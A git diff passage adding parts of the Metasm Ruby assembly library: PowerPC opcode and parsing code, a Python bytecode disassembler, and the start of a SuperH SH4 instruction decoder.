:fra, :frb + addop_ 'fsub', 0xFC000028, :frt, :fra, :frb + addop_ 'fsubs', 0xEC000028, :frt, :fra, :frb + addop_ 'fmul', 0xFC000032, :frt, :fra, :frc + addop_ 'fmuls', 0xEC000032, :frt, :fra, :frc + addop_ 'fdiv', 0xFC000024, :frt, :fra, :frb + addop_ 'fdivs', 0xEC000024, :frt, :fra, :frb + addop_ 'fmadd', 0xFC00003A, :frt, :fra, :frc, :frb + addop_ 'fmadds',0xEC00003A, :frt, :fra, :frc, :frb + addop_ 'fmsub', 0xFC000038, :frt, :fra, :frc, :frb + addop_ 'fmsubs',0xEC000038, :frt, :fra, :frc, :frb + addop_ 'fnmadd',0xFC00003E, :frt, :fra, :frc, :frb + addop_ 'fnmadds',0xEC00003E,:frt, :fra, :frc, :frb + addop_ 'fnmsub',0xFC00003C, :frt, :fra, :frc, :frb + addop_ 'fnmsubs',0xEC00003C,:frt, :fra, :frc, :frb + addop_ 'frsp', 0xFC000018, :frt, :frb + addop_ 'fctid', 0xFC00065C, :frt, :frb + addop_ 'fctidz',0xFC00065E, :frt, :frb + addop_ 'fctiw', 0xFC00001C, :frt, :frb + addop_ 'fctiwz',0xFC00001E, :frt, :frb + addop_ 'fcfid', 0xFC00069C, :frt, :frb + addop 'fcmpu', 0xFC000000, :bf, :fra, :frb + addop 'fcmpo', 0xFC000040, :bf, :fra, :frb + addop_ 'mffs', 0xFC00048E, :frt + addop 'mcrfs', 0xFC000080, :bf, :bfa + addop_ 'mtfsfi',0xFC00010C, :bf, :u + addop_ 'mtfsf', 0xFC00058E, :flm, :frb + addop_ 'mtfsb0',0xFC00008C, :bt + addop_ 'mtfsb1',0xFC00004C, :bt + addop 'mtocrf', 0x7C100120, :fxm, :rs + addop_ 'fsqrt', 0xFC00002C, :frt, :frb + addop_ 'fsqrts',0xEC00002C, :frt, :frb + addop_ 'fre', 0xFC000030, :frt, :frb + addop_ 'fres', 0xEC000030, :frt, :frb + addop_ 'frsqrte',0xFC000034,:frt, :frb + addop_ 'frsqrtes',0xEC000034, :frt, :frb + addop_ 'fsel', 0xFC00002E, :frt, :fra, :frc, :frb + addop 'mcrxr', 0x7C000400, :bf + addop 'icbi', 0x7C0007AC, :ra, :rb + addop 'dcbt', 0x7C00022C, :ra, :rb + addop 'dcbtst', 0x7C0001EC, :ra, :rb + addop 'dcbz', 0x7C0007EC, :ra, :rb + addop 'dcbst', 0x7C00006C, :ra, :rb + addop 'dcbf', 0x7C0000AC, :ra, :rb + addop 'isync', 0x4C00012C + addop 'lwarx', 0x7C000028, :rt, :ra, :rb + addop 'ldarx', 0x7C0000A8, :rt, :ra, :rb + addop 'stwcx.', 0x7C00012D, :rs, :ra, :rb + addop 'stdcx.', 0x7C0001AD, :rs, :ra, :rb + addop 'sync', 0x7C0004AC, :l_ + addop 'eieio', 0x7C0006AC + addop 'mftb', 0x7C0002E6, :rt, :tbr + addop 'eciwx', 0x7C00026C, :rt, :ra, :rb + addop 'ecowx', 0x7C00036C, :rs, :ra, :rb + addop 'dcbt', 0x7C00022C, :ra, :rb, :th + addop 'dcbf', 0x7C0000AC, :ra, :rb + addop 'dcbf', 0x7C0000AC, :ra, :rb, :l + addop 'sc', 0x44000002, :lev + addop 'rfid', 0x4C000024 + addop 'hrfid', 0x4C000224 + addop 'mtmsrd', 0x7C000164, :rs, :l__ + addop 'mfmsr', 0x7C0000A6, :rt + addop 'slbie', 0x7C000364, :rb + addop 'slbmte', 0x7C000324, :rs, :rb + addop 'slbmfev',0x7C0006A6, :rt, :rb + addop 'slbmfee',0x7C000726, :rt, :rb + addop 'tlbie', 0x7C000264, :rb, :l + addop 'tlbiel', 0x7C000224, :rb, :l + addop 'tlbia', 0x7C0002E4 + addop 'tlbsync',0x7C00046C + addop 'mtmsr', 0x7C000124, :rs, :l__ + addop 'lq', 0xE0000000, :rt, :ra_i16q + addop 'stq', 0xF8000002, :rs, :ra_i16s + addop 'mtsr', 0x7C0001A4, :sr, :rs + addop 'mtsrin', 0x7C0001E4, :rs, :rb + addop 'mfsr', 0x7C0004A6, :rt, :sr + addop 'mfsrin', 0x7C000526, :rt, :rb + + addop_trap 'tw', 0x7C000008, :ra, :rb + addop_trap 'twi', 0xC0000000, :ra, :si + addop_trap 'td', 0x7C000088, :ra, :rb + addop_trap 'tdi', 0x08000000, :ra, :si + + # pseudo-instructions + addop 'mr', :pseudo, :ra, :rb + addop 'not', :pseudo, :ra + addop 'not', :pseudo, :ra, :rb + @opcode_list.each { |op| + if op.name =~ /^addi/ + addop op.name.sub('add', 'sub'), :pseudo, *op.args + end + if op.name =~ /^(add|sub|xor|and|or|div|mul|nand)/ and op.args.length == 3 + addop op.name, :pseudo, *op.args[1..-1] + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/ppc/parse.rb b/lib/metasm/metasm/cpu/ppc/parse.rb new file mode 100644 index 0000000000..e534a79c31 --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/parse.rb @@ -0,0 +1,55 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/opcodes' +require 'metasm/parse' + +module Metasm +class PowerPC +# TODO + def parse_arg_valid?(op, sym, arg) + case sym + when :ra, :rb, :rs, :rt; arg.kind_of?(GPR) + when :fra, :frb, :frc, :frs, :frt; arg.kind_of?(FPR) + when :ra_i16, :ra_i16s, :ra_i16q; arg.kind_of?(Memref) + when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; arg.kind_of?(Expression) + when :ba, :bf, :bfa, :bt; arg.kind_of?(CR) + when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l; # ? + when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to + # TODO + else raise "internal error: mips arg #{sym.inspect}" + end + end + + def parse_argument(pgm) + pgm.skip_space + return if not tok = pgm.readtok + if tok.type == :string + return GPR.new(GPR.s_to_i[tok.raw]) if GPR.s_to_i[tok.raw] + return SPR.new(SPR.s_to_i[tok.raw]) if SPR.s_to_i[tok.raw] + return FPR.new(FPR.s_to_i[tok.raw]) if FPR.s_to_i[tok.raw] + return CR.new(CR.s_to_i[tok.raw]) if CR.s_to_i[tok.raw] + return MSR.new if tok.raw == 'msr' + end + pgm.unreadtok tok + arg = Expression.parse pgm + pgm.skip_space + # check memory indirection: 'off(base reg)' # XXX scaled index ? + if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' + pgm.readtok + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and GPR.s_to_i[ntok.raw] + base = GPR.new GPR.s_to_i[ntok.raw] + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' + arg = Memref.new base, arg + end + arg + end +end +end diff --git a/lib/metasm/metasm/cpu/python.rb b/lib/metasm/metasm/cpu/python.rb new file mode 100644 index 0000000000..9ef1a00da4 --- /dev/null +++ b/lib/metasm/metasm/cpu/python.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/python/decode' diff --git a/lib/metasm/metasm/cpu/python/decode.rb b/lib/metasm/metasm/cpu/python/decode.rb new file mode 100644 index 0000000000..12bd7a2e0d --- /dev/null +++ b/lib/metasm/metasm/cpu/python/decode.rb @@ -0,0 +1,136 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/python/opcodes' +require 'metasm/decode' + +module Metasm +class Python + def build_bin_lookaside + opcode_list.inject({}) { |la, op| la.update op.bin => op } + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + + byte = edata.decode_imm(:u8, :little) + + di if di.opcode = @bin_lookaside[byte] + end + + def decode_instr_op(edata, di) + di.bin_length = 1 + + di.instruction.opname = di.opcode.name + + di.opcode.args.each { |a| + case a + when :cmp + di.bin_length += 2 + v = edata.decode_imm(:i16, @endianness) + di.instruction.args << (CMP_OP[v] || Expression[v]) + when :i16 + di.bin_length += 2 + di.instruction.args << Expression[edata.decode_imm(:i16, @endianness)] + when :u8 + di.bin_length += 1 + di.instruction.args << Expression[edata.decode_imm(:u8, @endianness)] + else + raise "unsupported arg #{a.inspect}" + end + } + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + case di.opcode.name + when 'LOAD_CONST' + if c = prog_code(addr) + cst = c[:consts][di.instruction.args.first.reduce] + if cst.kind_of? Hash and cst[:type] == :code + di.add_comment "lambda #{Expression[cst[:fileoff]]}" + else + di.add_comment cst.inspect + end + end + when 'LOAD_NAME', 'LOAD_ATTR', 'LOAD_GLOBAL', 'STORE_NAME', 'IMPORT_NAME', 'LOAD_FAST' + if c = prog_code(addr) + di.add_comment c[:names][di.instruction.args.first.reduce].inspect + end + end + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.each { |op| + binding = case op + when 'nop'; lambda { |*a| {} } + end + @backtrace_binding[op] ||= binding if binding + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Var; arg.symbolic + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.opcode.name + when 'JUMP_FORWARD', 'FOR_ITER' + # relative offset + di.instruction.args.last.reduce + di.next_addr + when 'CALL_FUNCTION_VAR' + 'lol' + when /CALL/ + :unknown + else + # absolute offset from :code start + off = di.instruction.args.last.reduce + if c = prog_code(di) + off += c[:fileoff] + end + off + end + + [Expression[(arg.kind_of?(Var) ? arg.symbolic : arg)]] + end + + def prog_code(addr) + addr = addr.address if addr.kind_of? DecodedInstruction + @last_prog_code ||= nil + return @last_prog_code if @last_prog_code and @last_prog_code[:fileoff] <= addr and @last_prog_code[:fileoff] + @last_prog_code[:code].length > addr + @last_prog_code = @program.code_at_off(addr) if @program + end + + def backtrace_is_function_return(expr, di=nil) + #Expression[expr].reduce == Expression['wtf'] + end +end +end diff --git a/lib/metasm/metasm/cpu/python/main.rb b/lib/metasm/metasm/cpu/python/main.rb new file mode 100644 index 0000000000..f5918a4233 --- /dev/null +++ b/lib/metasm/metasm/cpu/python/main.rb @@ -0,0 +1,36 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm +class Python < CPU + def initialize(prog = nil) + super() + @program = prog + @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little) + @size = (prog.respond_to?(:size) ? prog.size : 32) + end + + class Var + include Renderable + + attr_accessor :i + + def initialize(i); @i = i end + + def ==(o) + o.class == self.class and o.i == i + end + + def symbolic; "var_#{@i}".to_sym end + + def render + ["var_#@i"] + end + + end +end +end diff --git a/lib/metasm/metasm/cpu/python/opcodes.rb b/lib/metasm/metasm/cpu/python/opcodes.rb new file mode 100644 index 0000000000..1e55d2fb95 --- /dev/null +++ b/lib/metasm/metasm/cpu/python/opcodes.rb @@ -0,0 +1,180 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/python/main' + +module Metasm +class Python + CMP_OP = %w[< <= == != > >= in not_in is is_not exch] + + def addop(name, bin, *args) + o = Opcode.new(name) + o.bin = bin + + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + } + o.args << :i16 if o.bin >= 90 and o.props.empty? # HAVE_ARGUMENT + + @opcode_list << o + end + + def init_opcode_list + @opcode_list = [] + + @valid_args[:u8] = true + @valid_args[:i16] = true + @valid_args[:cmp] = true + + addop 'STOP_CODE', 0, :stopexec + addop 'POP_TOP', 1 + addop 'ROT_TWO', 2 + addop 'ROT_THREE', 3 + addop 'DUP_TOP', 4 + addop 'ROT_FOUR', 5 + addop 'NOP', 9 + + addop 'UNARY_POSITIVE', 10 + addop 'UNARY_NEGATIVE', 11 + addop 'UNARY_NOT', 12 + addop 'UNARY_CONVERT', 13 + + addop 'UNARY_INVERT', 15 + + addop 'BINARY_POWER', 19 + + addop 'BINARY_MULTIPLY', 20 + addop 'BINARY_DIVIDE', 21 + addop 'BINARY_MODULO', 22 + addop 'BINARY_ADD', 23 + addop 'BINARY_SUBTRACT', 24 + addop 'BINARY_SUBSCR', 25 + addop 'BINARY_FLOOR_DIVIDE', 26 + addop 'BINARY_TRUE_DIVIDE', 27 + addop 'INPLACE_FLOOR_DIVIDE', 28 + addop 'INPLACE_TRUE_DIVIDE', 29 + + addop 'SLICE', 30 + addop 'SLICE_1', 31 + addop 'SLICE_2', 32 + addop 'SLICE_3', 33 + + addop 'STORE_SLICE', 40 + addop 'STORE_SLICE_1', 41 + addop 'STORE_SLICE_2', 42 + addop 'STORE_SLICE_3', 43 + + addop 'DELETE_SLICE', 50 + addop 'DELETE_SLICE_1', 51 + addop 'DELETE_SLICE_2', 52 + addop 'DELETE_SLICE_3', 53 + + addop 'STORE_MAP', 54 + addop 'INPLACE_ADD', 55 + addop 'INPLACE_SUBTRACT', 56 + addop 'INPLACE_MULTIPLY', 57 + addop 'INPLACE_DIVIDE', 58 + addop 'INPLACE_MODULO', 59 + addop 'STORE_SUBSCR', 60 + addop 'DELETE_SUBSCR', 61 + + addop 'BINARY_LSHIFT', 62 + addop 'BINARY_RSHIFT', 63 + addop 'BINARY_AND', 64 + addop 'BINARY_XOR', 65 + addop 'BINARY_OR', 66 + addop 'INPLACE_POWER', 67 + addop 'GET_ITER', 68 + + addop 'PRINT_EXPR', 70 + addop 'PRINT_ITEM', 71 + addop 'PRINT_NEWLINE', 72 + addop 'PRINT_ITEM_TO', 73 + addop 'PRINT_NEWLINE_TO', 74 + addop 'INPLACE_LSHIFT', 75 + addop 'INPLACE_RSHIFT', 76 + addop 'INPLACE_AND', 77 + addop 'INPLACE_XOR', 78 + addop 'INPLACE_OR', 79 + addop 'BREAK_LOOP', 80 + addop 'WITH_CLEANUP', 81 + addop 'LOAD_LOCALS', 82 + addop 'RETURN_VALUE', 83 + addop 'IMPORT_STAR', 84 + addop 'EXEC_STMT', 85 + addop 'YIELD_VALUE', 86 + addop 'POP_BLOCK', 87 + addop 'END_FINALLY', 88 + addop 'BUILD_CLASS', 89 + + #addop 'HAVE_ARGUMENT', 90 #/* Opcodes from here have an argument: */ + + addop 'STORE_NAME', 90 #/* Index in name list */ + addop 'DELETE_NAME', 91 #/* "" */ + addop 'UNPACK_SEQUENCE', 92 #/* Number of sequence items */ + addop 'FOR_ITER', 93, :setip + addop 'LIST_APPEND', 94 + + addop 'STORE_ATTR', 95 #/* Index in name list */ + addop 'DELETE_ATTR', 96 #/* "" */ + addop 'STORE_GLOBAL', 97 #/* "" */ + addop 'DELETE_GLOBAL', 98 #/* "" */ + addop 'DUP_TOPX', 99 #/* number of items to duplicate */ + addop 'LOAD_CONST', 100 #/* Index in const list */ + addop 'LOAD_NAME', 101 #/* Index in name list */ + addop 'BUILD_TUPLE', 102 #/* Number of tuple items */ + addop 'BUILD_LIST', 103 #/* Number of list items */ + addop 'BUILD_SET', 104 #/* Number of set items */ + addop 'BUILD_MAP', 105 #/* Always zero for now */ + addop 'LOAD_ATTR', 106 #/* Index in name list */ + addop 'COMPARE_OP', 107, :cmp #/* Comparison operator */ + addop 'IMPORT_NAME', 108 #/* Index in name list */ + addop 'IMPORT_FROM', 109 #/* Index in name list */ + addop 'JUMP_FORWARD', 110, :setip, :stopexec #/* Number of bytes to skip */ + + addop 'JUMP_IF_FALSE_OR_POP', 111, :setip #/* Target byte offset from beginning of code */ + addop 'JUMP_IF_TRUE_OR_POP', 112, :setip #/* "" */ + addop 'JUMP_ABSOLUTE', 113, :setip, :stopexec #/* "" */ + addop 'POP_JUMP_IF_FALSE', 114, :setip #/* "" */ + addop 'POP_JUMP_IF_TRUE', 115, :setip #/* "" */ + + addop 'LOAD_GLOBAL', 116 #/* Index in name list */ + + addop 'CONTINUE_LOOP', 119 #/* Start of loop (absolute) */ + addop 'SETUP_LOOP', 120 #/* Target address (relative) */ + addop 'SETUP_EXCEPT', 121 #/* "" */ + addop 'SETUP_FINALLY', 122 #/* "" */ + + addop 'LOAD_FAST', 124 #/* Local variable number */ + addop 'STORE_FAST', 125 #/* Local variable number */ + addop 'DELETE_FAST', 126 #/* Local variable number */ + + addop 'RAISE_VARARGS', 130 #/* Number of raise arguments (1, 2 or 3) */ + #/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */ + addop 'CALL_FUNCTION', 131, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'MAKE_FUNCTION', 132 #/* #defaults */ + addop 'BUILD_SLICE', 133 #/* Number of items */ + + addop 'MAKE_CLOSURE', 134 #/* #free vars */ + addop 'LOAD_CLOSURE', 135 #/* Load free variable from closure */ + addop 'LOAD_DEREF', 136 #/* Load and dereference from closure cell */ + addop 'STORE_DEREF', 137 #/* Store into cell */ + + #/* The next 3 opcodes must be contiguous and satisfy (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1 */ + addop 'CALL_FUNCTION_VAR', 140, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'CALL_FUNCTION_KW', 141, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'CALL_FUNCTION_VAR_KW', 142, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + + addop 'SETUP_WITH', 143 + + #/* Support for opargs more than 16 bits long */ + addop 'EXTENDED_ARG', 145 + + addop 'SET_ADD', 146 + addop 'MAP_ADD', 147 + end +end +end diff --git a/lib/metasm/metasm/cpu/sh4.rb b/lib/metasm/metasm/cpu/sh4.rb new file mode 100644 index 0000000000..4be5b1fa2d --- /dev/null +++ b/lib/metasm/metasm/cpu/sh4.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/sh4/decode' diff --git a/lib/metasm/metasm/cpu/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb new file mode 100644 index 0000000000..7e0629ddcf --- /dev/null +++ b/lib/metasm/metasm/cpu/sh4/decode.rb @@ -0,0 +1,367 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/sh4/opcodes' +require 'metasm/decode' + +module Metasm +class Sh4 + def build_opcode_bin_mask(op) + op.bin_mask = 0 + op.args.each { |f| + op.bin_mask |= @fields_mask[f] << @fields_shift[f] + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + lookaside = (0..0xf).inject({}) { |h, i| h.update i => [] } + opcode_list.each { |op| + build_opcode_bin_mask op + lookaside[(op.bin >> 12) & 0xf] << op + } + lookaside + end + + # depending on transfert size mode (sz flag), fmov instructions manipulate single ou double precision values + # instruction aliasing appears when sz is not handled + def transfer_size_mode(list) + return list if list.find { |op| not op.name.include? 'mov' } + @transfersz == 0 ? list.find_all { |op| op.name.include? 'fmov.s' } : list.reject { |op| op.name.include? 'fmov.s' } + end + + # when pr flag is set, floating point instructions are executed as double-precision operations + # thus register pair is used (DRn registers) + def precision_mode(list) + @fpprecision == 0 ? list.reject { |op| op.args.include? :drn } : list.find_all { |op| op.args.include? :frn } + end + + def decode_findopcode(edata) + return if edata.ptr >= edata.length + + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + op = @bin_lookaside[(val >> 12) & 0xf].find_all { |opcode| (val & opcode.bin_mask) == opcode.bin } + + op = transfer_size_mode(op) if op.length == 2 + op = precision_mode(op) if op.length == 2 + + if op.length > 1 + puts "current value: #{Expression[val]}, ambiguous matches:", + op.map { |opcode| " #{opcode.name} - #{opcode.args.inspect} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } + #raise "Sh4 - Internal error" + end + + if not op.empty? + di.opcode = op.first + di + end + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + di.opcode.props[:memsz] = (op.name =~ /\.l|mova/ ? 32 : (op.name =~ /\.w/ ? 16 : 8)) + val = edata.decode_imm(:u16, @endianness) + + field_val = lambda{ |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + when :@rm, :@rn ,:@_rm, :@_rn, :@rm_, :@rn_; GPR.new(r) + when :@disppc + # The effective address is formed by calculating PC+4, + # clearing the lowest 2 bits, and adding the zero-extended 8-bit immediate i + # multiplied by 4 (32-bit)/ 2 (16-bit) / 1 (8-bit). + curaddr = di.address+4 + curaddr = (curaddr & 0xffff_fffc) if di.opcode.props[:memsz] == 32 + curaddr+r*(di.opcode.props[:memsz]/8) + when :@disprm, :@dispr0rn; (r & 0xf) * (di.opcode.props[:memsz]/8) + when :@disprmrn; (r & 0xf) * 4 + when :@dispgbr; Expression.make_signed(r, 16) + when :disp8; di.address+4+2*Expression.make_signed(r, 8) + when :disp12; di.address+4+2*Expression.make_signed(r, 12) + when :s8; Expression.make_signed(r, 8) + else r + end + } + + op.args.each { |a| + di.instruction.args << case a + when :r0; GPR.new 0 + when :rm, :rn; GPR.new field_val[a] + when :rm_bank, :rn_bank; RBANK.new field_val[a] + when :drm, :drn; DR.new field_val[a] + when :frm, :frn; FR.new field_val[a] + when :xdm, :xdn; XDR.new field_val[a] + when :fvm, :fvn; FVR.new field_val[a] + when :vbr; VBR.new + when :gbr; GBR.new + when :sr; SR.new + when :ssr; SSR.new + when :spc; SPC.new + when :sgr; SGR.new + when :dbr; DBR.new + when :mach; MACH.new + when :macl; MACL.new + when :pr; PR.new + when :fpul; FPUL.new + when :fpscr; FPSCR.new + when :pc; PC.new + + when :@rm, :@rn, :@disppc + Memref.new(field_val[a], nil) + when :@_rm, :@_rn + Memref.new(field_val[a], nil, :pre) + when :@rm_, :@rn_ + Memref.new(field_val[a], nil, :post) + when :@r0rm + Memref.new(GPR.new(0), GPR.new(field_val[:rm])) + when :@r0rn, :@dispr0rn + Memref.new(GPR.new(0), GPR.new(field_val[:rn])) + when :@disprm + Memref.new(field_val[a], GPR.new(field_val[:rm])) + when :@disprmrn + Memref.new(field_val[a], GPR.new(field_val[:rn])) + + when :disppc; Expression[field_val[:@disppc]] + when :s8, :disp8, :disp12; Expression[field_val[a]] + when :i16, :i8, :i5; Expression[field_val[a]] + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + def disassembler_default_func + df = DecodedFunction.new + df.backtrace_binding = {} + (0..7 ).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression::Unknown } + (8..15).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression[r] } + df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else + [] + end + } + df + end + + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + bt = [] + b[r] = Expression::Unknown # break recursive dep + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, + :include_start => true, :snapshot_addr => faddr, :origin => retaddr) + } + b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) + } + wantregs = GPR::Sym if wantregs.empty? + wantregs.map { |r| r.to_sym }.each(&bt_val) + end + + + # interprets a condition code (in an opcode name) as an expression + def decode_cmp_expr(di, a0, a1) + case di.opcode.name + when 'cmp/eq'; Expression[a0, :'==', a1] + when 'cmp/ge'; Expression[a0, :'>=', a1] # signed + when 'cmp/gt'; Expression[a0, :'>', a1] # signed + when 'cmp/hi'; Expression[a0, :'>', a1] # unsigned + when 'cmp/hs'; Expression[a0, :'>=', a1] # unsigned + end + end + + def decode_cmp_cst(di, a0) + case di.opcode.name + when 'cmp/pl'; Expression[a0, :'>', 0] # signed + when 'cmp/pz'; Expression[a0, :'>=', 0] # signed + end + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def opsz(di) + ret = @size + ret = 8 if di and di.opcode.name =~ /\.b/ + ret = 16 if di and di.opcode.name =~ /\.w/ + ret + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = lambda { |di| (1 << opsz(di)) - 1 } # 32bits => 0xffff_ffff + + opcode_list.map { |ol| ol.name }.uniq.each { |op| + @backtrace_binding[op] ||= case op + when 'ldc', 'ldc.l', 'lds', 'lds.l', 'stc', 'stc.l', 'mov', 'mov.l', 'sts', 'sts.l' + lambda { |di, a0, a1| { a1 => Expression[a0] }} + when 'stc.w', 'stc.b', 'mov.w', 'mov.b' + lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} + when 'movt'; lambda { |di, a0| { a0 => :t_bit }} + when 'mova'; lambda { |di, a0, a1| { a1 => Expression[a0] }} + when 'exts.b', 'exts.w', 'extu.w' + lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} + when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs' + lambda { |di, a0, a1| { :t_bit => decode_cmp_expr(di, a0, a1) }} + when 'cmp/pl', 'cmp/pz' + lambda { |di, a0| { :t_bit => decode_cmp_cst(di, a0) }} + when 'tst'; lambda { |di, a0, a1| { :t_bit => Expression[[a0, :&, mask[di]], :==, [a1, :&, mask[di]]] }} + when 'rte'; lambda { |di| { :pc => :spc , :sr => :ssr }} + when 'rts'; lambda { |di| { :pc => :pr }} + when 'sets'; lambda { |di| { :s_bit => 1 }} + when 'sett'; lambda { |di| { :t_bit => 1 }} + when 'clrs'; lambda { |di| { :s_bit => 0 }} + when 'clrt'; lambda { |di| { :t_bit => 0 }} + when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }} + when 'jmp'; lambda { |di, a0| { :pc => a0 }} + when 'jsr', 'bsr', 'bsrf'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address, :+, 2*2] }} + when 'dt'; lambda { |di, a0| + res = Expression[a0, :-, 1] + { :a0 => res, :t_bit => Expression[res, :==, 0] } + } + when 'add' ; lambda { |di, a0, a1| { a1 => Expression[[a0, :+, a1], :&, 0xffff_ffff] }} + when 'addc' ; lambda { |di, a0, a1| + res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]] + { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } + } + when 'addv' ; lambda { |di, a0, a1| + res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]]]] + { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } + } + when 'shll16', 'shll8', 'shll2', 'shll' ; lambda { |di, a0| + shift = { 'shll16' => 16, 'shll8' => 8, 'shll2' => 2, 'shll' => 1 }[op] + { a0 => Expression[[a0, :<<, shift], :&, 0xffff] } + } + when 'shlr16', 'shlr8', 'shlr2','shlr'; lambda { |di, a0| + shift = { 'shlr16' => 16, 'shlr8' => 8, 'shlr2' => 2, 'shlr' => 1 }[op] + { a0 => Expression[a0, :>>, shift] } + } + when 'rotcl'; lambda { |di, a0| { a0 => Expression[[a0, :<<, 1], :|, :t_bit], :t_bit => Expression[a0, :>>, [opsz[di], :-, 1]] }} + when 'rotcr'; lambda { |di, a0| { a0 => Expression[[a0, :>>, 1], :|, :t_bit], :t_bit => Expression[a0, :&, 1] }} + when 'rotl'; lambda { |di, a0| + shift_bit = [a0, :<<, [opsz[di], :-, 1]] + { a0 => Expression[[a0, :<<, 1], :|, shift_bit], :t_bit => shift_bit } + } + when 'rotr'; lambda { |di, a0| + shift_bit = [a0, :>>, [opsz[di], :-, 1]] + { a0 => Expression[[a0, :>>, 1], :|, shift_bit], :t_bit => shift_bit } + } + when 'shal'; lambda { |di, a0| + shift_bit = [a0, :<<, [opsz[di], :-, 1]] + { a0 => Expression[a0, :<<, 1], :t_bit => shift_bit } + } + when 'shar'; lambda { |di, a0| + shift_bit = Expression[a0, :&, 1] + { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit } + } + when 'sub'; lambda { |di, a0, a1| { a1 => Expression[[a1, :-, a0], :&, 0xffff_ffff] }} + when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a1, :-, [a0, :-, :t_bit]] }} + when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }} + when 'or', 'or.b'; lambda { |di, a0, a1| { 